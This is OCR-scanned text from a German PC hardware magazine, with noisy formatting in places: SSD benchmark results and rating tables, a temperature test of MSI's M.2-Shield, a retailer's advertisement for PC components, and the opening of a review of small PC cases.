Stapelverarbeitung von 2.500 Bildern 


Corsair MP500 (480 GB) Eu 268 (-0 96) 
Adata SX8000 (512 GB) e 268 (-0 90) 
Samsung SSD 960 Pro (1024 GB) Ecc 269 (Basis) 
PNY CS2030 M.2 SSD (240 GB) Ew 269 (0 96) 
Intel SSD 600p (512 GB) | 270 (+0 96) 
Samsung SSD 960 Evo (1024 GB) E 271 (+1 96) 
50.000 Dateien (10 GiB) kopieren 


Samsung SSD 960 Pro (1024 GB 
PNY CS2030 M.2 SSD (240 GB. 
Adata SX8000 (512 GB 

Corsair MP500 (480 GB 
Samsung SSD 960 Evo (1024 GB 
Intel SSD 600p (512 GB 


Fe 41 (Basis) 
EN 47 (+15 %) 
m 49 (+20 %) 
EN 52 (+27 96) 
pum 61 (+49 %) 
EU 9 (+68 70) 


Spiele-Installation 


Samsung SSD 960 Pro (1024 GB) EX 34 (Basis) 
Samsung SSD 960 Evo (1024 GB) EX 34 (+1 96) 
Adata SX8000 (512 GB) Ew 35 (+2 96) 
PNY CS2030 M.2 SSD (240 GB) EX 35 (+2 9) 
Intel SSD 600p (512 GB) w 36 (+5 96) 
Corsair MP500 (480 GB) Es 38 (+10 96) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 6, 8 
GiByte DDR3-2133 Bemerkungen: Die 960 Pro ist das Nonplusultra. Die 960 Evo, sonst 
stets auf Platz zwei, schwächelt etwas in der Kopierleistung. 


Sekunden 
< Besser 


SATA-SSDs in der Praxis 


Stapelverarbeitung von 2.500 Bildern 


Western Digital WD Green SSD (240 GB) Em 239 (-13 96) 
Kingston SSDnow UV400 (480 GB) Em 271 (1 96) 
Western Dig. WD Blue SSD (SATA/M.2) (500 GB) Eu 272 (-1 96) 
Toshiba Q300 Pro (1024 GB) Eu 272 (-1 96) 
OCZ VX500 (1024 GB) Eu 272 (-1 90) 
Western Digital WD Blue SSD (1000 GB) EX 274 (Basis) 
Kingston SSDnow UV400 (240 GB) Eu 281 (+3 96) 
Corsair Neutron Xti (480 GB GB) 656 288 (+5 90) 
Corsair Neutron Хїї (960 GB GB) Eu 288 (+5 90) 
Adata Ultimate 50900 (256 GB) Eu 288 (+5 96) 


50.000 Dateien (10 GiB) kopieren 


Toshiba Q300 Pro (1024 GB) | 69 (-37 90) 
OCZ VX500 (1024 GB) |a 69 (-37 %) 
Adata Ultimate 50900 (256 GB) Eu 84 (-23 96) 
Corsair Neutron Хїї (480 GB GB) EX 85 (-22 96) 
Corsair Neutron Хїї (960 GB GB) [EX 85 (-22 90) 
Western Dig. WD Blue SSD (SATA/M.2) (500 GB) Eu 104 (-5 96) 
Western Digital WD Blue SSD (1000 GB) EX 109 (Basis) 
Kingston SSDnow UV400 (480 GB) Eu 126 (+16 96) 
Western Digital WD Green SSD (240 GB) Em 128 (+17 %) 
Kingston SSDnow UV400 (240 GB) uui 159 (+46 %) 


Spiele-Installation 


Western Digital WD Green SSD (240 GB 
Western Digital WD Blue SSD (1000 GB 
Western Dig. WD Blue SSD (SATA/M.2) (500 GB 
Toshiba Q300 Pro (1024 GB 

OCZ VX500 (1024 GB 

Kingston SSDnow UV400 (240 GB 

Kingston SSDnow UV400 (480 GB 

Corsair Neutron Xti (480 GB GB 

Corsair Neutron Xti (960 GB GB 

Adata Ultimate SU900 (256 GB 


EN 34 (3 %) 
was (0 %) 
pu 35 (0 96) 
p 35 (0 96) 
[OEIL ABL LALoOoo 55 (о %) 
EN 35 (Basis) 
Eu 37 («6 90) 
pu 38 (+9 90) 
pu 38 (+9 96) 
Gww—C cC-B LLL 5 (+9 %) 


% 
% 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 
6, 8 GiByte DDR3-2133 Bemerkungen: Beim Datenschaufeln unterscheiden sich die 
Modelle stark. 


Sekunden 
< Besser 
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MÜ SSDs 


SOLID STATE 
DRIVES 


Auszug aus Testtabelle 
mit 20 Wertungskriterien 


Produktinfo/-name 
Modellbezeichnung 


1.024 GB 


Q300 Pro 
HDTSA1AEZSTA 


9300 Pro 


Hardware 


VSIHSOL 


1.024 GB 


VX500 
VX500-25SAT3-1T 


PREIS-LEISTUNGS-TIPP 


256 GB 


960 GB 


480 GB 


Hardware 


Ultimate SU900 
ASU900SS-256GM-C 


Neutron Xti 
CSSD-N960GBXTI 


n Xti 
CSSD-N480GBXTI 


Hersteller/Webseite 


Toshiba (toshiba.de) 


OCZ (ocz.com) 


Adata (adata.com) 


Corsair (corsair.com) 


Corsair corsair.com 


PCGH-Preisvergleich 


www.pcgh.de/preis/1312394 


www.pcgh.de/preis/1507141 


www.pcgh.de/preis/1563414 


www.pcgh.de/preis/1469016 


www.pcgh.de/preis/1469015 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 400,-/befriedigend 


Ca. € 370,-/gut 


Ca. € 125,-/ausreichend 


Ca. € 390,-/befriedigend 


Ca. € 185,-/befriedigend 


Preis pro GiB € 0,42/GiB € 0,39/GiB € 0,52/GiB € 0,42/GiB € 0,40/GiB 
MTBF*/Haltbarkeit 1.500.000 Stunden/640 TB 1.500.000 Stunden/592 TB 2.000.000 Stunden/800 TB 2.000.000 Stunden/640 TB 2.000.000 Stunden/320 TB 
Firmware Testmuster JYRA4101 JYCX4101 P1026A SAFCO2.3 SAFCO2.3 
SSD-Controller Toshiba TC358790XBG Toshiba TC358790XBG Silicon Motion SMI2258 Phison PS3110-510 Phison PS3110-510 
Flash-Chips MLC (19nm, Toshiba/SanDisk) MLC (15nm, Toshiba/SanDisk) 3D-NAND MLC MLC Toggle (15nm) MLC Toggle (15nm) 
DRAM-Cache = 1 GB LPDDR3 512 MB LPDDR3 
Ausstattung (20 %) 2,33 2,33 2,21 2,38 2,41 

Formatierte Kapazität (GiB) 953,87 GiByte 953,87 GiByte 238,47 GiByte 931,51 GiByte 465,76 GiByte 
Herstellergarantie 5 Jahre 5 Jahre 5 Jahre 5 Jahre 5 Jahre 
Zubehör/Besonderheiten Cloning Software, SSD Utility Acronis True Image, SSD Utility 3,5-Zoll-Rahmen, Schrauben SSD Toolbox SSD Toolbox 
Eigenschaften (20 %) 1,63 1,67 1,51 1,74 1,74 
Schnittstelle SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s 
NAND-Typ MLC (15nm, Toshiba/SanDisk) MLC (15nm, Toshiba/SanDisk) 3D-NAND MLC MLC Toggle (15nm) MLC Toggle (15nm) 
Trim-Unterstützung (Garbage Ja Ja Ja Ja Ja 

Collection) 

Bauhöhe/Format 7 mm 7 mm 7 mm 7 mm 7 mm 


Leistungsaufnahme Leerlauf/ 
Lesen/Schreiben 


Leistung (60 %) 


FAZIT 


0,1/2,3/2,5 Watt 


1,84 
© Metallgehäuse 


© Gute Kopierleistung 


© Etwas teuer 


Wertung 


: 1,89 


0,1/2,3/2,5 Watt 


1,85 
© Metallgehàuse 


© Acronis True Image 


© Etwas teuer 


Wertung: 1,91 


0,1/1,6/2,2 Watt 


2,09 
© Gute Leistung 


© Teuer 


—— 
SPAR-TIPP 


500 GB 


1.000 GB 


© Hohe Haltbarkeit (MTBF) 


Wertung: 2,00 


0,1/2,5/4,5 Watt 


2,05 


© DRAM-Cache 
© Hohe Haltbarkeit (MTBF) 
© Hoher Schreibverbrauch 


Wertung: 2,05 


0,1/2,5/4,5 Watt 


2,30 


© DRAM-Cache 
© Hohe Haltbarkeit (MTBF) 
© Hoher Schreibverbrauch 


Wertung: 2,21 


* (MTBF: Mean Time Between Failure) 


240 GB 


SOLID STATE 
DRIVES 


Auszug aus Testtabelle 
mit 20 Wertungskriterien 


Modellbezeichnung 


WD BLUE 


WD Blue SS 
WDS500G1BOB 


SATA/M.2) 


WD Blue SS 
WDS100T1B0A 


Western Digital 
WO Bhe 550 


Hardware 


WDS240G1G0A 


24068 SATA 


PC SSD 
Solid State Drive 


SSDnow UV400 
SUV400537/480G 


SSDnow UV400 
SUV400537/240G 


Hersteller/Webseite 


Western Digital (wdc.com) 


Western Digital (wd 


с.сот) 


Western Digital (wdc.com) 


Kingston (kingston.com) 


Kingston (kingston.com) 


PCGH-Preisvergleich 


www.pcgh.de/preis/1521440 


www.pcgh.de/preis/1521438 


www.pcgh.de/preis/1521443 


www.pcgh.de/preis/1446624 


www.pcgh.de/preis/1446599 


Preis/Preis-Leistungs-Verháltnis |Ca. € 155,-/gut Ca. € 290,-/gut Ca. € 85,-/befriedigend Ca. € 145,-/gut Ca. € 90,-/befriedigend 
Preis pro GiB € 0,33/GiB € 0,31/GiB € 0,38/GiB € 0,31/GiB € 0,40/GiB 
MTBF*/Haltbarkeit 1.750.000 Stunden/400 TB 1.750.000 Stunden/400 TB 1.750.000 Stunden/80 TB 1.000.000 Stunden/200 TB 1.000.000 Stunden/100 TB 
Firmware Testmuster X4100DW X4100DW. 23311000 0C3J96R9 OC3K87RA 
SSD-Controller Marvell 88551074 Marvell 88551074 Silicon Motion S$M2256S Marvell 88551074 Marvell 88551074 
Flash-Chips Sandisk Toggle 15nm (TLC) Sandisk Toggle 15nm (TLC) TLC (15 nm) TLC (15 nm) TLC (15 nm) 
DRAM-Cache - - - - - 

Ausstattung (20 %) 3,07 3,04 3,01 2,96 3,01 

Formatierte Kapazitàt (GiB) 465,76 GiByte 931,51 GiByte 223,57 GiByte 465,76 GiByte 223,57 GiByte 
Herstellergarantie 3 Jahre 3 Jahre 3 Jahre 3 Jahre 3 Jahre 
Zubehör/Besonderheiten WD SSD Dashboard WD SSD Dashboard WD SSD Dashboard SSD Toolbox SSD Toolbox 
Eigenschaften (20 %) 1,68 1,73 1,58 1,69 1,69 

Schnittstelle SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s 
NAND-Typ Sandisk Toggle 15nm (TLC) Sandisk Toggle 15nm (TLC) TLC (15 nm) TLC (15 nm) TLC (15 nm) 
Trim-Unterstützung (Garbage Ja Ja Ja Ja Ja 

Collection) 

Bauhöhe/Format M.2 7 mm 7 mm 7 mm 7 mm 


Leistungsaufnahme Leerlauf/ 
Lesen/Schreiben 


Leistung (60 %) 


FAZIT 


76 


PC Games Hardware 


0,1/2,5/3,0 Watt 


2,25 


© SATA im M.2-Format 


© SSD-Tool 


@ Nur 3 Jahre Garantie 


Wertung 


| 05/17 


: 2,30 


0,1/2,5/3,0 Watt 


2,31 


© Günstig 
© SSD-Tool 


© Nur 3 Jahre Garantie 


Wertung: 2,34 


0,1/1,9/1,5 Watt 


2,43 


© Geringer Verbrauch 
© Gute Praxiswerte 


© Nur 3 Jahre Garantie 


Wertung: 2,38 


0,1/2,3/2,9 Watt 


2,47 


© Recht günstig 
© Geringer Verbrauch 
© Kurze Haltbarkeit (MTBF) 


Wertung: 2,41 


0,1/2,3/2,9 Watt 


2,82 


© Geringer Verbrauch 
© Etwas teuer 
© Kurze Haltbarkeit (MTBF) 


Wertung: 2,63 


* (MTBF: Mean Time Between Failure) 
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Was bringt der M.2-Shield? 


SD-Kühlung kann potenziell 
S hóhere Datenrate bieten. 
Das haben wir schon festgestellt, als 
wir zum Online-Test der Samsung 
960 Evo einen kleinen Lüfter auf 
den M.2-Riegel blasen ließen. 
Nun findet aber ein halbstündiger 
Schreibvorgang äußerst selten statt 
- erst recht bei PCIe-SSDs, die meh- 
rere GiBytes in Sekundenschnelle 
schaufeln. Wie etwa beim RAM-Rie- 
gel ist eine passive Kühlung (eine 
aktive sowieso) des M.2-Datenstifts 
daher nicht notwendig. Nun möch- 
ten uns die Mainboard-Hersteller 
aber ein kleines Blech schmackhaft 
machen, das die M.2-SSD abdeckt 
und etwas kühlen soll. Gamer‘s 
Nexus testete den M.2-Shield eines 
MSI-Boards und behauptet, dass 
die Metallabdeckung sogar etwas 
aufheizt anstatt kühlt. MSI wies 
die Kritik zurück und meint, dass 
die Temperatursensoren zwischen 
Shield und SSD isolieren und die 
Wärmeabfuhr beeinträchtigen. Der 
Hersteller verweist zudem auf zwei 
andere Tests, die aber den M.2- 
Shield nur oberflächlich, beiläufig 
überprüften. 


Unsere Testmethode 

Da es nach wie vor unklar ist, ob 
und wie das Wärmeblech wirkt, ha- 
ben wir nun selbst getestet. Die Be- 
dingungen sollten so praxisnah wie 
möglich sein, deswegen haben wir 
nicht am offenen SSD-Testsystem 
gemessen, sondern das Mainboard, 
ein MSI Z270 Gaming Pro Carbon, 
mitsamt eines i5-Quadcores und 
einer RX-480-Grafikkarte in ein ge- 
schlossenes Gehäuse verbaut. Die 
Temperatur haben wir mit Senso- 
ren einer Lüftersteuerung vorne 
unterm Controller sowie hinten 
am NAND-Chip an der Unterseite 
einer PNY CS2030 gemessen. Da- 
mit war ausgeschlossen, dass die 
Sensoren wie im Test von Gamer's 
Nexus isolieren. Auf der Oberseite 
sind die Temperaturen sicherlich 
höher, doch uns kommt es nicht 
auf absolute Werte, sondern den 
Unterschied an. Zur Sicherheit ha- 
ben wir mit einem dritten Sensor 
die Gehäusetemperatur erhoben. 
Aber vorneweg: Egal ob unter Last 
oder im inaktiven Zustand blieb 
diese stets bei etwa 33 Grad, so- 
dass wir mit den relativen Tempe- 
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raturwerten zu keinem anderen 
Ergebnis kamen. Wir haben meh- 
rere Durchläufe, sowohl lesend als 
auch schreibend, mit und ohne 
Shield an mehreren PCIe-SSDs vor- 
genommen. Aus Platzgründen und 
weil sich die Ergebnisse unter den 
Modellen kaum unterscheiden, prä- 
sentieren wir hier nur Werte der 
PNY CS2030. 


Und? Kühlt er? 

Gleich vorneweg: Der M.2-Shield 
hatte keinerlei Einfluss auf die 
Leistung der SSD. Egal ob mit oder 
ohne Blech, die Datenrate blieb 
stets gleich. Die Temperaturent- 
wicklung ist dafür umso interessan- 
ter. Erst permanente Schreibzugrif- 
fe heizen den Riegel so richtig auf. 
Vorne unterm Controller war die 
Temperatur im Durchschnitt gut 
6 *C niedriger, wie das Diagramm 
rechts zeigt. Das „Hitzeschild“ heizt 
dafür die deutlich kühleren Flash- 
Chips etwas auf, in unserem Fall 
aber nur um gerade mal 1 °C. Neh- 
men wir aus beiden Messpunkten 
den Durchschnittswert, ist dieser 
mit Shield etwas niedriger als ohne 
- der M.2-Shield kühlt daher in der 
Summe. Er ist weniger ein Kühlkör- 
per, vielmehr ein Wärmeleiter, der 
die Hitze des Controllers auf den 
Rest des Riegels etwas verteilt, ins- 
gesamt aber auch reduziert. 


Die meiste Zeit verbringt eine SSD 
aber in Ruhe, also ohne Lese- oder 
Schreibzugriffe. Im Schnitt über 
einen längeren Zeitraum hinweg 
kommen wir mit Shield auf einen 
um 1 °C höheren Wert, die Wärme 
bleibt daher meist auf gleichem 
Niveau. Der M.2-Shield kühlt also 
auch nur, wenn die SSD länger be- 
ansprucht wird. (mc) 


Fazit Hardware 


Ein klares Jein. 

Wärmeleiter ist die treffendere Be- 
zeichnung für den M.2-Shield. Übri- 
gens sind nicht nur MSI-Mainboards 
damit ausgestattet, auch Biostar bietet 
ein kleines Wärmeblech. Die Effekte 
sind aber recht gering und auch nicht 
in der Leistung der SSD zu finden. Wer 
das Blech nicht verwendet, ist daher 
nicht schlechter dran. 


Temperaturen an der Unterseite der SSD 


80 °C 


70°C 70,2 °C E Idle NOSHIELD Ill Idle SHIELD 
64,2 °C Write NOSHIELD ` Write SHIELD 
58,5 °C 


60 °C 57,8-°C 


50°С 48,1 °C 


47,2 °C 


40°С 


30°С 


20 °C 


10°C 


0°C 


Vorne unterm Controller Hinten am Flash 


System: Intel i5-6600K, Powercolor Radeon RX 480, MSI 2270 Gaming Pro Carbon, PNY С52030 Windows 10 
Pro x64. Bemerkung: Die PNY-SSD verfügt über einen NAND-Chip an der Rückseite, an den der hintere Sensor 
klebte. Der vordere Sensor war unter dem Controler an der Platine angebracht. Jedes andere System und jedes 
andere SSD-Modell liefert andere Temperaturwerte. Manche M.2-SSDs sind nur auf der Oberseite bestückt, wie 
etwa die Samsung-PCle-Modelle 960 Pro und 960 Evo. Diese verfügen über eine Kupferschicht im Aufkleber 

an der Unterseite, die ebenfalls die Temperatur beeinflusst. Andere Modelle lieferten das selbe Ergebnis einer 
deutlich niedrigeren Temperatur unterm Controller und einem leicht höheren Wert an der Hinterseite der Platine. 


THERMAL PADS 


High speed М.2 SSD 
or Intel® Optane SSD 


Bild: MSI 


Der MSI-M.2-Shield wird zusammen mit der SSD auf das Mainboard geschraubt. 
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Mit Sensoren einer Lüftersteuerung messen wir die Temperaturunterschiede mit und 
ohne M.2-Shield an der Unterseite einer PNY CS2030. 
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ALTERNATE GAMER STARTER V6 W10H 
Der ALTERNATE GAMER STARTER V6 W10H kommt mit einem Intel? Core™ 15-7500 (3,4 GHz) » PC-System 
Prozessor und 8 GB DDR4-Arbeitsspeicher. Die NVIDIA® GeForce? GTX 1060-Grafikkarte sowie ` Windows® 10 Home 64-Bit (OEM) 
der Gigabit-Anschluss ermóglichen einen vielseitigen Einsatz. Die weitere Ausstattung mit * Intel® Core™ i5-7500 Prozessor (3,4 GHz) 
einem DVD-Brenner, einer 240-GB-SSD sowie einer 1-TB-SATA-Festplatte, Sound und dem + NVIDIA? GeForce®? GTX 1060 


» 8 GB DDR4-RAM 
• 240-GB-SSD, 1.000-GB-HDD 
• DVD-Brenner • Gigabit-LAN • WLAN 


Microsoft-Betriebssystem Windows® 10 Home 64-Bit lässt kaum Wünsche offen. 


S5IXIC 


ALTERNATE GmbH | Philipp-Reis-Straße 2-3 | 35440 Linden | Fon: 06403-905040 | info@alternate.de 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 e 90 50 40 
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» LG 


Life's Good 


1.36€ 


Curved-LED-Monitor, AH-IPS-Panel 

95,25 cm (37,5") • 3.840x1.600 Pixel (QHD+) 

5 ms Reaktionszeit (GtG) • Kontrast: 1.000:1 (fest) 

Energieklasse: B • neigbarer, hóhenverstell- 

barer Standfuß • Helligkeit: 300 cd/m? 

2x HDMI, DisplayPort, USB 3.0 Quick Charge 
V8LK0000 


80MKOOL7GE • 33,78 cm (13,3") 
QHD+-Display (3.200 x 1.800) 

Intel? Core i7-6500U Prozessor (2,5 GHz) 

8 GB DDR3LP-RAM • 512 GB SSD • Intel® HD 
Graphics 520 • USB 3.0, Bluetooth 4.0 
Windows? 10 64-bit (OEM) 


PL4I5Z 


nr ZEN 
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35 
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8-Kern-Prozessor • Sockel АМ4 
Taktfrequenz: 3.600 MHz (Turbo: 4.000 MHz) 
16 MB L3-Cache • 4 MB L2-Cache 

Boxed ohne CPU-Kühler 


Sockel-1151-Prozessor • Kaby-Lake 
4 Kerne • 3,60 GHz Basistakt 

4,2 GHz max. Turbo 

8 MB Cache » HyperThreading 


LED-Monitor ° 62,2 cm (24,5") Bilddiagonale • 1.920x1.080 Pixel 
1 ms Reaktionszeit • Kontrast: 1.000:1 • 240 Hz » Helligkeit: 400 cd/m? 


2x HDMI, 1x DisplayPort, 1x VGA, 1x DVI, 4x USB 3.0 


a7 — DI V6LM1C 
(COOLER 
be Aharkoon MASTER Make It Yours. 
5) $32 7 15€ 
> J E 
2€ 22 
Midi-Tower Midi-Tower • Einbauschächte extern: 2x 5,25" 


Einbauschächte extern: 2x 5,25" 
Einbauschächte intern: 3x 3,5", 2x 2,5" 

inkl. drei Lüfter » Front: 2x USB 3.0, 2x Audio 
Window-Kit » für Mainboard bis ATX-Bauform 


Einbauscháchte intern: 5x 2,5"/3,5", 2x 2,5" 
inkl. drei Lüfter • Front: 2x USB 3.0, 2x Audio 
Window-Kit ° für Mainboard bis ATX-Bauform 


Midi-Tower » Einbauschächte extern: 2x 5,25" 
Einbauschächte intern: 3x 2,5"/3,5", 2x 2,5" 
inkl. zwei Lüfter • Front: 2x USB 3.0, 2x Audio 
Window-Kit ° für Mainboard bis ATX-Bauform 


TOXV2028 TOXSL7 TQXM5G E 
ZOTAC 
= 
logitech" 
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CPU-Wasserkühler 

für Sockel FM1, FM2(+), AM2(+), AM3(+), 
775, 115x, 2011(-3) 

innovative Reverse-Flow-Pumpe 

2x 120-mm-Lüfter mit PWM-Anschluss 


optische Gaming-Maus ° 12.000 dpi 
Scrollrad • 40 G » 1.000 Hz Ultrapolling 
Tasten mit Metallfederspannung 
kabellose Verbindung und optionaler 
Anschluss per Kabel 


Grafikkarte « NVIDIA® GeForce? GTX 1080 Ti 
1.480 MHz Chiptakt (Boost: 1.582 MHz) 

11 GB GDDR5X-RAM (11,0 GHz) 

3.584 Shadereinheiten • DirectX 12 und OpenGL 4.5 


Зх DisplayPort, 1x HDMI » PCIe 3.0 x16 


JHXTOCOO HXLVBH NMZLGT 


Netzteil « 850 Watt Dauerleistung 

Effizienz bis zu 85% • 15x Laufwerksanschlüsse 
4x PCle-Stromanschluss • Kabel-Management 
1x 140-mm-Lüfter 

ATX 2.03, ATX 12v 2.4, SSI EPS 12V 2.92 


TN8T25 
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Gaming Mouse 

USB-Abfragerate einstellbar 
(125Hz/500Hz/1.000Hz) 

DPI einstellbar (400,800,1.600,3.200) 
echtes Plug and Play 


NMZW04 


h ALTERNATE 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. 
Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 19.04.2017 
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Wie von Silverstones Sugo-Reihe gewohnt, findet man auch beim SG11 wenig Plastikelemente. Solange der 3,5/2,5-Zoll-Laufwerkskäfig eingebaut bleibt, ist 
wenig Platz für die Kabelverlegung. Die Enge im Innenraum - das Netzteil wird oberhalb der Platine montiert - wirkt sich auch auf die Kühlleistung aus. 


Obwohl noch Halterungen für zwei 80-mm-Lüf- Von den speziellen Halterungen für sieben, 
er vorhanden sind, liefert Silverstone das Sugo respektive zwei 2,5-Zoll-HDDs/SSDs abgesehen 
SG11 nur mit einen 120-mm-Modell aus. ällt die Ausstattung des Sugo SG 11 mager aus. 
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eistungsstarke Mini-Rechner, 

die das Spielen am Full-HD-Fern- 
seher in der guten Stube möglich 
machen, haben sich mittlerweile 
bei Videospiel-Fans als Alternative 
zur aktuellen Konsolengeneration 
etabliert. Das liegt nicht zuletzt da- 
ran, dass die Hersteller diesen Trend 
erkannt haben und für alle, die ih- 
ren Couch-Gaming-Rechner selbst 
zusammenbauen möchten, immer 
mehr Mini-PC-taugliche Hardware 
im Portfolio führen. Neben extra für 
das Spielen im Wohnzimmer entwi- 
ckelter Peripherie, wie Nerdytechs 
Couchmaster Cycon oder Roccats 
Sova, werden Mini-PC-kompatible 
Micro-ATX-/Mini-ITX-Boards, CPU- 
Turmkühler mit geringer Bauhöhe 
und Grafikkarten mit PBCs im ITX- 
oder Nano-Format angeboten. 


Die wohl größte Auswahl besteht 
jedoch bei den Gehäusen, in de- 
nen die Komponenten des Spiele- 
Minis eingebaut werden können. 
Neben der passenden Optik muss 
die Hardware-Behausung in spe 
vor allem eine gute Kühlung bie- 
ten, die nicht allzu viel schlechter 
als bei den großen Gehäuseforma- 
ten (Midi-/Big-Tower) ausfällt. Zu- 
sätzlich sollte sich der PC gerade 
unter Last im Wohnzimmer nicht 
lautstark bemerkbar machen - es 
sind also auch leise Gehäuselüfter 
und/oder eine effiziente Dämmung 
gefragt. Um zu überprüfen, ob die 
aktuell angebotenen Modelle diese 
Kriterien erfüllen, holen wir uns 
insgesamt acht Gehäuse ins Test- 
labor und testen diese zum ersten 
mal mit renovierten Methoden und 
angepasstem Wertungssystem. 
ın e Wert 4 IM A OI e 

Seit der Ausgabe 02/2017 (siehe S. 
66 ff.) nutzen wir ein überarbeitetes 
Testverfahren nebst neuer Hardware 
und renoviertem Wertungssystem. 
Anstatt die Micro-ATX-/Mini-ITX- 
Gehäuse wie früher mit Sternchen 
zu bewerten, vergeben wir jetzt 
auch für die Gehäuse-Minis Noten 
in den Disziplinen Ausstattung (20 
Prozent), Eigenschaften (20 Pro- 
zent) und Leistung (60 Prozent). 
Wie Sie im Folgenden sehen, sortie- 
ren sich die Testkandidaten bei der 
Bewertung von 2,66 (Fractal Design 
Define Mini C) bis 3,98 (Enermax 
Steelwing Dynamic Red) ein. Dabei 
ist ein Notenwert mit einer Zwei vor 
dem Komma im direkten Vergleich 
mit den großen Gehäusen eine gute 
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Das Define Mini C ist die geschrumpfte Variante des Fractal Design 
Define C. Trotz des deutlich geringeren Innenraumvolumens steht der 
Kleine dem großen Bruder bei der Ausstattung, der Kühlung und der 
vorhandene Dämmung in Nichts nach: 68°/72° C CPU/GPU-Temperatur 
und eine geringe Lautheit von 1,6/1,7 Sone garantieren den Testsieg. 


"si HAIE- ИК 


Der größere Nachfolger des VR1 nimmt nun auch Micro-ATX-Platinen 
auf. Die Konstruktion mit Seitenteilen aus Glas sowie das Belüftungs- 
konzept des VR1, das auf den Kamineffekt setzt, behält man bei. Für 

die Frischluftzufuhr sind zwei Propeller verantwortlich. Die GPU-Küh- 
lung ist trotzdem nur mäßig, weil durch die geänderte Bord-Position 

der Abstand zwischen Netzteil und Grafikkarte zu gering ausfällt. 


oduVent nennt Fractal Design die Konstruk- 
ion, bei welcher der Deckel entfernt wird, um 
die frei werdenden Motageplätze für Lüfter 
oder WaKü-Radiatoren zu nutzen. Der magne- 
ische Staubfilter gehört zum Lieferumfang. 


Auf der Rückseite des Mainboard-Trays 

ist Platz für drei 2,5-Zoll-Laufwerke. Der 
3,5/2,5-Zoll-Kombi-Käfig sowie das Netzteil 
befinden sich unter einer Abdeckung durch die 
kaum warme Luft ins Gehäuseinnere dringt. 


Zwei 120-mm-Lüfter, deren Lautheit die 
Glas-Seitenteile gut dämmen, wirbeln frische 
Luft in den Innenraum. Ein weiteres Modell 
befördert die nach oben aufsteigende warme 
Luft wieder aus dem VR2 heraus. 


Das Mainboard wird im VR2 um 90° gedreht 
eingebaut. Für den Einbau des Netzteils, 
welches zu nah an die Grafikkarte rückt, sowie 
das Anschließen aller Kabel an die I/O-Ports 
der Hauptplatine ist der Deckel zu entfernen. 
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bis sehr gute Wertung, selbst eine 
Note nahe der 4,00 ist noch als be- 
friedigendes Ergebnis zu sehen. No- 
ten mit einer Eins vor dem Komma 
konnten die Kleinen im Gegenzug, 
aufgrund von Abstrichen bei der 
Ausstattung und der durch das nied- 
rige Innenraumvolumen verursach- 
ten Wärmentwicklung, sowieso nur 
selten erzielen. 


Fractal Design Define Mini C: Klarer 
Testsieg dank guter Kühleigenschaf- 
ten und geringer Geräuschkulisse. 
Hersteler Fractal Design ist bekannt 
dafür, seine Gehàusereihen in ver- 
schiedenen Formaten anzubieten. 
Daher ist das hier getestete Define 


x 
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arhida 
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Air 240 


Mini C ein geschrumpftes Define 
C, dem Fratal Design nicht nur das 
Inneraumdesign, sondern auch die 
Ausstattung des großen Bruders 
spendiert. Dazu gehören ein Käfig 
zum Einbau von zwei 3,5/2,5-Zoll- 
Laufwerken sowie eine weitere Hal- 
terung für drei 2,5-Zoll-HDDs/SSDs, 
die optional an der Aussparung 
hinter der Mainboard-Halterung 
befestigt werden kann. Bei der An- 
ordnung der Lüfterplätze (siehe 
Testtabelle) orientiert man sich 
ebenfalls beim großen Vorbild und 
bestückt das Define Mini C ab Werk 
an der Front und dem Heck mit je 
120-mm-Propeller. Selbst 
„ModuVent“ bezeichnete 


einem 
die als 


Konstruktion, die es ermöglicht, 
den geschlossenen Deckel gegen 
einen magnetischen Staubfilter zu 
tauschen und dort einen WaKü-Ra- 
diator (240 und 120 mm) anzubrin- 
gen, findet man bei dem ebenfalls 
gedämmten Mini-Tower wieder. 


Ein Ausstattungswunder ist das De- 
fine Mini C nicht, dafür macht Frac- 
tal Design mit dem Innenraum-Lay- 
out des großen Define C, bei dem 
das Netzteil mit einer Abdeckung 
vom Inneraum getrennt wird, und 
der Lüfteranordnung alles richtig. 
Das bestätigen unsere Messwerte 
von 68° C für die GPU, 50° C im 
Innenraum und von 72° C für die 


GPU, die ihren Boost-Takt hält. 
Dazu kommt die Dämmung, die für 
eine niedrige Geräuschentwick- 
lung von nur 1,7/1,6 Sone sorgt. 


Jonsbo VR2: Hingucker mit GPU-Kühl- 
schwächen, die durch das Innenraum- 
design verursacht werden. Das VR2 
von Jonsbo kann durchaus als ein 
auf das Micro-ATX-Format vergrö- 
fertes VR1 (Test in PCGH 12/16) 
bezeichnet werden. Wie beim nur 
mit Mini-ITX-Platinen kompatible 
VR1 bestehen auch beim VR2 die 
Seitenteile aus dickem getönten 
Glas. Eine Befestigungsmöglichkeit 
für zwei 2,5-Zoll-Laufwerke auf der 
Rückseite der Platinenhalterung fin- 


Corsairs für ein kleines Gehäuse ordentlich ausgestattetes Carbide Air 240 verfügt neben Fractal Desgins Define Mini C über die besten Kühleigenschaften 
(Innenraum: 30° C, CPU: 68° C und GPU: 75° C). Verantwortlich dafür ist der zweigeteilte Inneraum sowie die drei Lüfter, die leider zu laut zu Werke gehen. 


ё 
Zum Lieferumfang gehören drei 120-mm-Lüf- 
ter, deren gute Kühlleistung durch ein hohe 
Geräuschkulisse erkauft wird. Für SSDs steht 
ein Laufwerkskäfig mit drei schraubenlosen 
Befestigungsmöglichkeiten bereit. 


Das Carbide Air 240 verfügt über ein Zwei- 
kammersystem mit vertikaler Raumtrennung. 
Die beiden Laufwerkskäfige (3 x 3,5/2,5 Zoll, 
können beispielsweise beim Einsatz einer 
Platine mit M.2-SSD demontiert werden. 


Zusammen mit Jonsbos VR2 ist das aus Alu gefertigte, mit einem gläsernen Seitenteil verzierte und sehr kompakte Enermax Steelwing der Hingucker im Test. 
Das auffällige Design hat jedoch seinen Preis: Die Komponentenkühlung fällt nur durchschnittlich aus und der Frontlüfter ist mit 3,5/3,5 Sone unüberhörbar. 


/ YZZERENKEE E. 
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Die Halterung für je ein 3,5-Zoll- und 
